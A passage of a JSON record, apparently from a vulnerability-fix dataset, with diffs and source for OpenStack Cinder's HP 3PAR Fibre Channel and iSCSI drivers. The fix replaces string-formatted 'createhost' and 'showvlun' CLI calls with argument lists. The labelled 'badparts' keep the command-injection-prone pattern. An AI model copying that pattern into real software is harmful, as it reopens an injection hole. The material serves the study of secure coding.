None)\n+ command = ['createhost', '-persona', persona_id, '-domain', domain,\n+ hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n \n return hostname\n \n- def _modify_3par_fibrechan_host(self, hostname, wwn):\n+ def _modify_3par_fibrechan_host(self, hostname, wwns):\n # when using -add, you can not send the persona or domain options\n- out = self.common._cli_run('createhost -add %s %s'\n- % (hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-add', hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"", "add": 13, "remove": 7, "filename": "/cinder/volume/drivers/san/hp/hp_3par_fc.py", "badparts": [" def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):", " out = self.common._cli_run('createhost -persona %s -domain %s %s %s'", " % (persona_id, domain,", " hostname, \" \".join(wwn)), None)", " def _modify_3par_fibrechan_host(self, hostname, wwn):", " out = self.common._cli_run('createhost -add %s %s'", " % (hostname, \" \".join(wwn)), None)"], "goodparts": [" def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):", " command = ['createhost', '-persona', persona_id, '-domain', domain,", " hostname]", " for wwn in wwns:", " command.append(wwn)", " out = self.common._cli_run(command)", " def _modify_3par_fibrechan_host(self, hostname, wwns):", " command = ['createhost', '-add', hostname]", " for wwn in wwns:", " command.append(wwn)", " out = self.common._cli_run(command)"]}], "source": "\n \"\"\" Volume driver for HP 3PAR Storage array. This driver requires 3.1.2 MU2 firmware on the 3PAR array. You will need to install the python hp3parclient. sudo pip install hp3parclient Set the following in the cinder.conf file to enable the 3PAR Fibre Channel Driver along with the required flags: volume_driver=cinder.volume.drivers.san.hp.hp_3par_fc.HP3PARFCDriver \"\"\" from hp3parclient import exceptions as hpexceptions from oslo.config import cfg from cinder import exception from cinder.openstack.common import log as logging from cinder import utils import cinder.volume.driver from cinder.volume.drivers.san.hp import hp_3par_common as hpcommon from cinder.volume.drivers.san import san VERSION=1.1 LOG=logging.getLogger(__name__) class HP3PARFCDriver(cinder.volume.driver.FibreChannelDriver): \"\"\"OpenStack Fibre Channel driver to enable 3PAR storage array. Version history: 1.0 -Initial driver 1.1 -QoS, extend volume, multiple iscsi ports, remove domain, session changes, faster clone, requires 3.1.2 MU2 firmware, copy volume <--> Image. \"\"\" def __init__(self, *args, **kwargs): super(HP3PARFCDriver, self).__init__(*args, **kwargs) self.common=None self.configuration.append_config_values(hpcommon.hp3par_opts) self.configuration.append_config_values(san.san_opts) def _init_common(self): return hpcommon.HP3PARCommon(self.configuration) def _check_flags(self): \"\"\"Sanity check to ensure we have required options set.\"\"\" required_flags=['hp3par_api_url', 'hp3par_username', 'hp3par_password', 'san_ip', 'san_login', 'san_password'] self.common.check_flags(self.configuration, required_flags) @utils.synchronized('3par', external=True) def get_volume_stats(self, refresh): self.common.client_login() stats=self.common.get_volume_stats(refresh) stats['storage_protocol']='FC' backend_name=self.configuration.safe_get('volume_backend_name') stats['volume_backend_name']=backend_name or self.__class__.__name__ self.common.client_logout() return stats def do_setup(self, context): self.common=self._init_common() self._check_flags() self.common.do_setup(context) def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" self._check_flags() @utils.synchronized('3par', external=True) def create_volume(self, volume): self.common.client_login() metadata=self.common.create_volume(volume) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_cloned_volume(self, volume, src_vref): self.common.client_login() new_vol=self.common.create_cloned_volume(volume, src_vref) self.common.client_logout() return{'metadata': new_vol} @utils.synchronized('3par', external=True) def delete_volume(self, volume): self.common.client_login() self.common.delete_volume(volume) self.common.client_logout() @utils.synchronized('3par', external=True) def create_volume_from_snapshot(self, volume, snapshot): \"\"\" Creates a volume from a snapshot. TODO: support using the size from the user. \"\"\" self.common.client_login() metadata=self.common.create_volume_from_snapshot(volume, snapshot) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_snapshot(self, snapshot): self.common.client_login() self.common.create_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def delete_snapshot(self, snapshot): self.common.client_login() self.common.delete_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. The driver returns a driver_volume_type of 'fibre_channel'. The target_wwn can be a single entry or a list of wwns that correspond to the list of remote wwn(s) that will export the volume. Example return values: { 'driver_volume_type': 'fibre_channel' 'data':{ 'target_discovered': True, 'target_lun': 1, 'target_wwn': '1234567890123', } } or { 'driver_volume_type': 'fibre_channel' 'data':{ 'target_discovered': True, 'target_lun': 1, 'target_wwn':['1234567890123', '0987654321321'], } } Steps to export a volume on 3PAR * Create a host on the 3par with the target wwn * Create a VLUN for that HOST with the volume we want to export. \"\"\" self.common.client_login() host=self._create_host(volume, connector) vlun=self.common.create_vlun(volume, host) ports=self.common.get_ports() self.common.client_logout() info={'driver_volume_type': 'fibre_channel', 'data':{'target_lun': vlun['lun'], 'target_discovered': True, 'target_wwn': ports['FC']}} return info @utils.synchronized('3par', external=True) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Driver entry point to unattach a volume from an instance.\"\"\" self.common.client_login() self.common.terminate_connection(volume, connector['host'], connector['wwpns']) self.common.client_logout() def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id): \"\"\"Create a 3PAR host. Create a 3PAR host, if there is already a host on the 3par using the same wwn but with a different hostname, return the hostname used by 3PAR. \"\"\" out=self.common._cli_run('createhost -persona %s -domain %s %s %s' %(persona_id, domain, hostname, \" \".join(wwn)), None) if out and len(out) > 1: return self.common.parse_create_host_error(hostname, out) return hostname def _modify_3par_fibrechan_host(self, hostname, wwn): out=self.common._cli_run('createhost -add %s %s' %(hostname, \" \".join(wwn)), None) def _create_host(self, volume, connector): \"\"\"Creates or modifies existing 3PAR host.\"\"\" host=None hostname=self.common._safe_hostname(connector['host']) cpg=self.common.get_cpg(volume, allowSnap=True) domain=self.common.get_domain(cpg) try: host=self.common._get_3par_host(hostname) if not host['FCPaths']: self._modify_3par_fibrechan_host(hostname, connector['wwpns']) host=self.common._get_3par_host(hostname) except hpexceptions.HTTPNotFound as ex: persona_id=self.common.get_persona_type(volume) hostname=self._create_3par_fibrechan_host(hostname, connector['wwpns'], domain, persona_id) host=self.common._get_3par_host(hostname) return host @utils.synchronized('3par', external=True) def create_export(self, context, volume): pass @utils.synchronized('3par', external=True) def ensure_export(self, context, volume): pass @utils.synchronized('3par', external=True) def remove_export(self, context, volume): pass def extend_volume(self, volume, new_size): self.common.extend_volume(volume, new_size) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# (c) Copyright 2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\"\"\"\nVolume driver for HP 3PAR Storage array.\nThis driver requires 3.1.2 MU2 firmware on the 3PAR array.\n\nYou will need to install the python hp3parclient.\nsudo pip install hp3parclient\n\nSet the following in the cinder.conf file to enable the\n3PAR Fibre Channel Driver along with the required flags:\n\nvolume_driver=cinder.volume.drivers.san.hp.hp_3par_fc.HP3PARFCDriver\n\"\"\"\n\nfrom hp3parclient import exceptions as hpexceptions\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nimport cinder.volume.driver\nfrom cinder.volume.drivers.san.hp import hp_3par_common as hpcommon\nfrom cinder.volume.drivers.san import san\n\nVERSION = 1.1\nLOG = logging.getLogger(__name__)\n\n\nclass HP3PARFCDriver(cinder.volume.driver.FibreChannelDriver):\n \"\"\"OpenStack Fibre Channel driver to enable 3PAR storage array.\n\n Version history:\n 1.0 - Initial driver\n 1.1 - QoS, extend volume, multiple iscsi ports, remove domain,\n session changes, faster clone, requires 3.1.2 MU2 firmware,\n copy volume <--> Image.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(HP3PARFCDriver, self).__init__(*args, **kwargs)\n self.common = None\n self.configuration.append_config_values(hpcommon.hp3par_opts)\n self.configuration.append_config_values(san.san_opts)\n\n def _init_common(self):\n return hpcommon.HP3PARCommon(self.configuration)\n\n def _check_flags(self):\n \"\"\"Sanity check to ensure we have required options set.\"\"\"\n required_flags = ['hp3par_api_url', 'hp3par_username',\n 'hp3par_password',\n 'san_ip', 'san_login', 'san_password']\n self.common.check_flags(self.configuration, required_flags)\n\n @utils.synchronized('3par', external=True)\n def get_volume_stats(self, refresh):\n self.common.client_login()\n stats = self.common.get_volume_stats(refresh)\n stats['storage_protocol'] = 'FC'\n backend_name = self.configuration.safe_get('volume_backend_name')\n stats['volume_backend_name'] = backend_name or self.__class__.__name__\n self.common.client_logout()\n return stats\n\n def do_setup(self, context):\n self.common = self._init_common()\n self._check_flags()\n self.common.do_setup(context)\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n self._check_flags()\n\n @utils.synchronized('3par', external=True)\n def create_volume(self, volume):\n self.common.client_login()\n metadata = self.common.create_volume(volume)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_cloned_volume(self, volume, src_vref):\n self.common.client_login()\n new_vol = self.common.create_cloned_volume(volume, src_vref)\n self.common.client_logout()\n return {'metadata': new_vol}\n\n @utils.synchronized('3par', external=True)\n def delete_volume(self, volume):\n self.common.client_login()\n self.common.delete_volume(volume)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"\n Creates a volume from a snapshot.\n\n TODO: support using the size from the user.\n \"\"\"\n self.common.client_login()\n metadata = self.common.create_volume_from_snapshot(volume, snapshot)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_snapshot(self, snapshot):\n self.common.client_login()\n self.common.create_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def delete_snapshot(self, snapshot):\n self.common.client_login()\n self.common.delete_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host.\n\n The driver returns a driver_volume_type of 'fibre_channel'.\n The target_wwn can be a single entry or a list of wwns that\n correspond to the list of remote wwn(s) that will export the volume.\n Example return values:\n\n {\n 'driver_volume_type': 'fibre_channel'\n 'data': {\n 'target_discovered': True,\n 'target_lun': 1,\n 'target_wwn': '1234567890123',\n }\n }\n\n or\n\n {\n 'driver_volume_type': 'fibre_channel'\n 'data': {\n 'target_discovered': True,\n 'target_lun': 1,\n 'target_wwn': ['1234567890123', '0987654321321'],\n }\n }\n\n\n Steps to export a volume on 3PAR\n * Create a host on the 3par with the target wwn\n * Create a VLUN for that HOST with the volume we want to export.\n\n \"\"\"\n self.common.client_login()\n # we have to make sure we have a host\n host = self._create_host(volume, connector)\n\n # now that we have a host, create the VLUN\n vlun = self.common.create_vlun(volume, host)\n\n ports = self.common.get_ports()\n\n self.common.client_logout()\n info = {'driver_volume_type': 'fibre_channel',\n 'data': {'target_lun': vlun['lun'],\n 'target_discovered': True,\n 'target_wwn': ports['FC']}}\n return info\n\n @utils.synchronized('3par', external=True)\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Driver entry point to unattach a volume from an instance.\"\"\"\n self.common.client_login()\n self.common.terminate_connection(volume,\n connector['host'],\n connector['wwpns'])\n self.common.client_logout()\n\n def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n \"\"\"Create a 3PAR host.\n\n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n % (persona_id, domain,\n hostname, \" \".join(wwn)), None)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n\n return hostname\n\n def _modify_3par_fibrechan_host(self, hostname, wwn):\n # when using -add, you can not send the persona or domain options\n out = self.common._cli_run('createhost -add %s %s'\n % (hostname, \" \".join(wwn)), None)\n\n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n host = None\n hostname = self.common._safe_hostname(connector['host'])\n cpg = self.common.get_cpg(volume, allowSnap=True)\n domain = self.common.get_domain(cpg)\n try:\n host = self.common._get_3par_host(hostname)\n if not host['FCPaths']:\n self._modify_3par_fibrechan_host(hostname, connector['wwpns'])\n host = self.common._get_3par_host(hostname)\n except hpexceptions.HTTPNotFound as ex:\n # get persona from the volume type extra specs\n persona_id = self.common.get_persona_type(volume)\n # host doesn't exist, we have to create it\n hostname = self._create_3par_fibrechan_host(hostname,\n connector['wwpns'],\n domain,\n persona_id)\n host = self.common._get_3par_host(hostname)\n\n return host\n\n @utils.synchronized('3par', external=True)\n def create_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def ensure_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def remove_export(self, context, volume):\n pass\n\n def extend_volume(self, volume, new_size):\n self.common.extend_volume(volume, new_size)\n"}, "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py": {"changes": [{"diff": "\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n- (persona_id, domain, hostname, iscsi_iqn)\n- out = self.common._cli_run(cmd, None)\n+ cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',\n+ domain, hostname, iscsi_iqn]\n+ out = self.common._cli_run(cmd)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n \n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n- self.common._cli_run('createhost -iscsi -add %s %s'\n- % (hostname, iscsi_iqn), None)\n+ command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]\n+ self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n", "add": 5, "remove": 5, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\", " (persona_id, domain, hostname, iscsi_iqn)", " out = self.common._cli_run(cmd, None)", " self.common._cli_run('createhost -iscsi -add %s %s'", " % (hostname, iscsi_iqn), None)"], "goodparts": [" cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',", " domain, hostname, iscsi_iqn]", " out = self.common._cli_run(cmd)", " command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]", " self.common._cli_run(command)"]}, {"diff": "\n \n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n- result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n+ result = self.common._cli_run(['showvlun', '-a', '-host', hostname])\n if result:\n # first line is header\n result = result[1:]\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" result = self.common._cli_run('showvlun -a -host %s' % hostname, None)"], "goodparts": [" result = self.common._cli_run(['showvlun', '-a', '-host', hostname])"]}, {"diff": "\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n- result = self.common._cli_run('showvlun -a -showcols Port', None)\n+ result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])\n \n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts =", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" result = self.common._cli_run('showvlun -a -showcols Port', None)"], "goodparts": [" result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])"]}], "source": "\n \"\"\" Volume driver for HP 3PAR Storage array. This driver requires 3.1.2 MU2 firmware on the 3PAR array. You will need to install the python hp3parclient. sudo pip install hp3parclient Set the following in the cinder.conf file to enable the 3PAR iSCSI Driver along with the required flags: volume_driver=cinder.volume.drivers.san.hp.hp_3par_iscsi.HP3PARISCSIDriver \"\"\" import sys from hp3parclient import exceptions as hpexceptions from cinder import exception from cinder.openstack.common import log as logging from cinder import utils import cinder.volume.driver from cinder.volume.drivers.san.hp import hp_3par_common as hpcommon from cinder.volume.drivers.san import san VERSION=1.1 LOG=logging.getLogger(__name__) DEFAULT_ISCSI_PORT=3260 class HP3PARISCSIDriver(cinder.volume.driver.ISCSIDriver): \"\"\"OpenStack iSCSI driver to enable 3PAR storage array. Version history: 1.0 -Initial driver 1.1 -QoS, extend volume, multiple iscsi ports, remove domain, session changes, faster clone, requires 3.1.2 MU2 firmware. \"\"\" def __init__(self, *args, **kwargs): super(HP3PARISCSIDriver, self).__init__(*args, **kwargs) self.common=None self.configuration.append_config_values(hpcommon.hp3par_opts) self.configuration.append_config_values(san.san_opts) def _init_common(self): return hpcommon.HP3PARCommon(self.configuration) def _check_flags(self): \"\"\"Sanity check to ensure we have required options set.\"\"\" required_flags=['hp3par_api_url', 'hp3par_username', 'hp3par_password', 'san_ip', 'san_login', 'san_password'] self.common.check_flags(self.configuration, required_flags) @utils.synchronized('3par', external=True) def get_volume_stats(self, refresh): self.common.client_login() stats=self.common.get_volume_stats(refresh) stats['storage_protocol']='iSCSI' backend_name=self.configuration.safe_get('volume_backend_name') stats['volume_backend_name']=backend_name or self.__class__.__name__ self.common.client_logout() return stats def do_setup(self, context): self.common=self._init_common() self._check_flags() self.iscsi_ips={} temp_iscsi_ip={} if len(self.configuration.hp3par_iscsi_ips) > 0: for ip_addr in self.configuration.hp3par_iscsi_ips: ip=ip_addr.split(':') if len(ip)==1: temp_iscsi_ip[ip_addr]={'ip_port': DEFAULT_ISCSI_PORT} elif len(ip)==2: temp_iscsi_ip[ip[0]]={'ip_port': ip[1]} else: msg=_(\"Invalid IP address format '%s'\") % ip_addr LOG.warn(msg) if(self.configuration.iscsi_ip_address not in temp_iscsi_ip): ip=self.configuration.iscsi_ip_address ip_port=self.configuration.iscsi_port temp_iscsi_ip[ip]={'ip_port': ip_port} iscsi_ports=self.common.get_ports()['iSCSI'] for(ip, iscsi_info) in iscsi_ports.iteritems(): if ip in temp_iscsi_ip: ip_port=temp_iscsi_ip[ip]['ip_port'] self.iscsi_ips[ip]={'ip_port': ip_port, 'nsp': iscsi_info['nsp'], 'iqn': iscsi_info['iqn'] } del temp_iscsi_ip[ip] if(self.configuration.iscsi_ip_address in temp_iscsi_ip): del temp_iscsi_ip[self.configuration.iscsi_ip_address] if len(temp_iscsi_ip) > 0: msg=_(\"Found invalid iSCSI IP address(s) in configuration \" \"option(s) hp3par_iscsi_ips or iscsi_ip_address '%s.'\") % \\ (\", \".join(temp_iscsi_ip)) LOG.warn(msg) if not len(self.iscsi_ips) > 0: msg=_('At least one valid iSCSI IP address must be set.') raise exception.InvalidInput(reason=(msg)) self.common.do_setup(context) def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" self._check_flags() @utils.synchronized('3par', external=True) def create_volume(self, volume): self.common.client_login() metadata=self.common.create_volume(volume) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_cloned_volume(self, volume, src_vref): \"\"\"Clone an existing volume.\"\"\" self.common.client_login() new_vol=self.common.create_cloned_volume(volume, src_vref) self.common.client_logout() return{'metadata': new_vol} @utils.synchronized('3par', external=True) def delete_volume(self, volume): self.common.client_login() self.common.delete_volume(volume) self.common.client_logout() @utils.synchronized('3par', external=True) def create_volume_from_snapshot(self, volume, snapshot): \"\"\" Creates a volume from a snapshot. TODO: support using the size from the user. \"\"\" self.common.client_login() metadata=self.common.create_volume_from_snapshot(volume, snapshot) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_snapshot(self, snapshot): self.common.client_login() self.common.create_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def delete_snapshot(self, snapshot): self.common.client_login() self.common.delete_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. This driver returns a driver_volume_type of 'iscsi'. The format of the driver data is defined in _get_iscsi_properties. Example return value: { 'driver_volume_type': 'iscsi' 'data':{ 'target_discovered': True, 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001', 'target_protal': '127.0.0.1:3260', 'volume_id': 1, } } Steps to export a volume on 3PAR * Get the 3PAR iSCSI iqn * Create a host on the 3par * create vlun on the 3par \"\"\" self.common.client_login() host=self._create_host(volume, connector) vlun=self.common.create_vlun(volume, host) self.common.client_logout() iscsi_ip=self._get_iscsi_ip(host['name']) iscsi_ip_port=self.iscsi_ips[iscsi_ip]['ip_port'] iscsi_target_iqn=self.iscsi_ips[iscsi_ip]['iqn'] info={'driver_volume_type': 'iscsi', 'data':{'target_portal': \"%s:%s\" % (iscsi_ip, iscsi_ip_port), 'target_iqn': iscsi_target_iqn, 'target_lun': vlun['lun'], 'target_discovered': True } } return info @utils.synchronized('3par', external=True) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Driver entry point to unattach a volume from an instance.\"\"\" self.common.client_login() self.common.terminate_connection(volume, connector['host'], connector['initiator']) self.common.client_logout() def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id): \"\"\"Create a 3PAR host. Create a 3PAR host, if there is already a host on the 3par using the same iqn but with a different hostname, return the hostname used by 3PAR. \"\"\" cmd='createhost -iscsi -persona %s -domain %s %s %s' % \\ (persona_id, domain, hostname, iscsi_iqn) out=self.common._cli_run(cmd, None) if out and len(out) > 1: return self.common.parse_create_host_error(hostname, out) return hostname def _modify_3par_iscsi_host(self, hostname, iscsi_iqn): self.common._cli_run('createhost -iscsi -add %s %s' %(hostname, iscsi_iqn), None) def _create_host(self, volume, connector): \"\"\"Creates or modifies existing 3PAR host.\"\"\" host=None hostname=self.common._safe_hostname(connector['host']) cpg=self.common.get_cpg(volume, allowSnap=True) domain=self.common.get_domain(cpg) try: host=self.common._get_3par_host(hostname) if not host['iSCSIPaths']: self._modify_3par_iscsi_host(hostname, connector['initiator']) host=self.common._get_3par_host(hostname) except hpexceptions.HTTPNotFound: persona_id=self.common.get_persona_type(volume) hostname=self._create_3par_iscsi_host(hostname, connector['initiator'], domain, persona_id) host=self.common._get_3par_host(hostname) return host @utils.synchronized('3par', external=True) def create_export(self, context, volume): pass @utils.synchronized('3par', external=True) def ensure_export(self, context, volume): pass @utils.synchronized('3par', external=True) def remove_export(self, context, volume): pass def _get_iscsi_ip(self, hostname): \"\"\"Get an iSCSI IP address to use. Steps to determine which IP address to use. * If only one IP address, return it * If there is an active vlun, return the IP associated with it * Return IP with fewest active vluns \"\"\" if len(self.iscsi_ips)==1: return self.iscsi_ips.keys()[0] nsp=self._get_active_nsp(hostname) if nsp is None: nsp=self._get_least_used_nsp(self._get_iscsi_nsps()) if nsp is None: msg=_(\"Least busy iSCSI port not found, \" \"using first iSCSI port in list.\") LOG.warn(msg) return self.iscsi_ips.keys()[0] return self._get_ip_using_nsp(nsp) def _get_iscsi_nsps(self): \"\"\"Return the list of candidate nsps.\"\"\" nsps=[] for value in self.iscsi_ips.values(): nsps.append(value['nsp']) return nsps def _get_ip_using_nsp(self, nsp): \"\"\"Return IP assiciated with given nsp.\"\"\" for(key, value) in self.iscsi_ips.items(): if value['nsp']==nsp: return key def _get_active_nsp(self, hostname): \"\"\"Return the active nsp, if one exists, for the given host.\"\"\" result=self.common._cli_run('showvlun -a -host %s' % hostname, None) if result: result=result[1:] for line in result: info=line.split(\",\") if info and len(info) > 4: return info[4] def _get_least_used_nsp(self, nspss): \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\" result=self.common._cli_run('showvlun -a -showcols Port', None) nsp_counts={} for nsp in nspss: nsp_counts[nsp]=0 current_least_used_nsp=None if result: result=result[1:] for line in result: nsp=line.strip() if nsp in nsp_counts: nsp_counts[nsp]=nsp_counts[nsp] +1 current_smallest_count=sys.maxint for(nsp, count) in nsp_counts.iteritems(): if count < current_smallest_count: current_least_used_nsp=nsp current_smallest_count=count return current_least_used_nsp def extend_volume(self, volume, new_size): self.common.extend_volume(volume, new_size) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# (c) Copyright 2012-2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\"\"\"\nVolume driver for HP 3PAR Storage array.\nThis driver requires 3.1.2 MU2 firmware on the 3PAR array.\n\nYou will need to install the python hp3parclient.\nsudo pip install hp3parclient\n\nSet the following in the cinder.conf file to enable the\n3PAR iSCSI Driver along with the required flags:\n\nvolume_driver=cinder.volume.drivers.san.hp.hp_3par_iscsi.HP3PARISCSIDriver\n\"\"\"\n\nimport sys\n\nfrom hp3parclient import exceptions as hpexceptions\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nimport cinder.volume.driver\nfrom cinder.volume.drivers.san.hp import hp_3par_common as hpcommon\nfrom cinder.volume.drivers.san import san\n\nVERSION = 1.1\nLOG = logging.getLogger(__name__)\nDEFAULT_ISCSI_PORT = 3260\n\n\nclass HP3PARISCSIDriver(cinder.volume.driver.ISCSIDriver):\n \"\"\"OpenStack iSCSI driver to enable 3PAR storage array.\n\n Version history:\n 1.0 - Initial driver\n 1.1 - QoS, extend volume, multiple iscsi ports, remove domain,\n session changes, faster clone, requires 3.1.2 MU2 firmware.\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(HP3PARISCSIDriver, self).__init__(*args, **kwargs)\n self.common = None\n self.configuration.append_config_values(hpcommon.hp3par_opts)\n self.configuration.append_config_values(san.san_opts)\n\n def _init_common(self):\n return hpcommon.HP3PARCommon(self.configuration)\n\n def _check_flags(self):\n \"\"\"Sanity check to ensure we have required options set.\"\"\"\n required_flags = ['hp3par_api_url', 'hp3par_username',\n 'hp3par_password', 'san_ip', 'san_login',\n 'san_password']\n self.common.check_flags(self.configuration, required_flags)\n\n @utils.synchronized('3par', external=True)\n def get_volume_stats(self, refresh):\n self.common.client_login()\n stats = self.common.get_volume_stats(refresh)\n stats['storage_protocol'] = 'iSCSI'\n backend_name = self.configuration.safe_get('volume_backend_name')\n stats['volume_backend_name'] = backend_name or self.__class__.__name__\n self.common.client_logout()\n return stats\n\n def do_setup(self, context):\n self.common = self._init_common()\n self._check_flags()\n\n # map iscsi_ip-> ip_port\n # -> iqn\n # -> nsp\n self.iscsi_ips = {}\n temp_iscsi_ip = {}\n\n # use the 3PAR ip_addr list for iSCSI configuration\n if len(self.configuration.hp3par_iscsi_ips) > 0:\n # add port values to ip_addr, if necessary\n for ip_addr in self.configuration.hp3par_iscsi_ips:\n ip = ip_addr.split(':')\n if len(ip) == 1:\n temp_iscsi_ip[ip_addr] = {'ip_port': DEFAULT_ISCSI_PORT}\n elif len(ip) == 2:\n temp_iscsi_ip[ip[0]] = {'ip_port': ip[1]}\n else:\n msg = _(\"Invalid IP address format '%s'\") % ip_addr\n LOG.warn(msg)\n\n # add the single value iscsi_ip_address option to the IP dictionary.\n # This way we can see if it's a valid iSCSI IP. If it's not valid,\n # we won't use it and won't bother to report it, see below\n if (self.configuration.iscsi_ip_address not in temp_iscsi_ip):\n ip = self.configuration.iscsi_ip_address\n ip_port = self.configuration.iscsi_port\n temp_iscsi_ip[ip] = {'ip_port': ip_port}\n\n # get all the valid iSCSI ports from 3PAR\n # when found, add the valid iSCSI ip, ip port, iqn and nsp\n # to the iSCSI IP dictionary\n # ...this will also make sure ssh works.\n iscsi_ports = self.common.get_ports()['iSCSI']\n for (ip, iscsi_info) in iscsi_ports.iteritems():\n if ip in temp_iscsi_ip:\n ip_port = temp_iscsi_ip[ip]['ip_port']\n self.iscsi_ips[ip] = {'ip_port': ip_port,\n 'nsp': iscsi_info['nsp'],\n 'iqn': iscsi_info['iqn']\n }\n del temp_iscsi_ip[ip]\n\n # if the single value iscsi_ip_address option is still in the\n # temp dictionary it's because it defaults to $my_ip which doesn't\n # make sense in this context. So, if present, remove it and move on.\n if (self.configuration.iscsi_ip_address in temp_iscsi_ip):\n del temp_iscsi_ip[self.configuration.iscsi_ip_address]\n\n # lets see if there are invalid iSCSI IPs left in the temp dict\n if len(temp_iscsi_ip) > 0:\n msg = _(\"Found invalid iSCSI IP address(s) in configuration \"\n \"option(s) hp3par_iscsi_ips or iscsi_ip_address '%s.'\") % \\\n (\", \".join(temp_iscsi_ip))\n LOG.warn(msg)\n\n if not len(self.iscsi_ips) > 0:\n msg = 